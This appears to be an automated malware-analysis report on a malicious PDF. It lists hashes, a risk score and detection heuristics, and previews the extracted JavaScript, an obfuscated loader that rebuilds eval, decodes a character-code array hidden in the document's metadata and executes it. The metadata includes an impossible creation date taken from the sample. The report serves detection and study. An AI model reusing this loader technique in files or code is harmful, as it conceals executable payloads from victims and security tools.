Malicious PDF — malware analysis report

Static analysis result for SHA-256 927ce39afcf64f82…

MALICIOUS

PDF

15.9 KB Created: 2011-72-51 03:25:00 Authoring application: ring.fromCharCo First seen: 2012-09-24
MD5: 41d1974bc45d2401eb8e3056683af1c7 SHA-1: ab13b3d117c8cddb50fca9d8a969aabc226c67d5 SHA-256: 927ce39afcf64f829ed2632774e1693c597ef0331e30788786a6f67bed63cfff
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x3CE7 452 bytes
SHA-256: 053e16c4d3adfe39303b5ab2ecfe8d6a1fb7476b7bae89401cea88225844a3de
Preview script
First 1,000 lines of the extracted script
var l = 'asd'.substr;
var g = l();
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var xtl="";
iztuv='his';
ihbz='ti';
e('udqs=t'+iztuv+"."+ihbz+function(){return 'tle'}());
ijjqe='["prod';
e('yln=t'+iztuv+ijjqe+function(){return 'ucer'}()+'"]');
alo=e('St'+yln+'de');
kjnvv = e(udqs.replace(/k/g, ","));
e('k=kjnvv.length');
for (i = 0; i < k; i++) {
	dtsp = (i%2)?kjnvv[i]/5:kjnvv[i]/17;
	xtl += alo(dtsp);
}
e(xtl);

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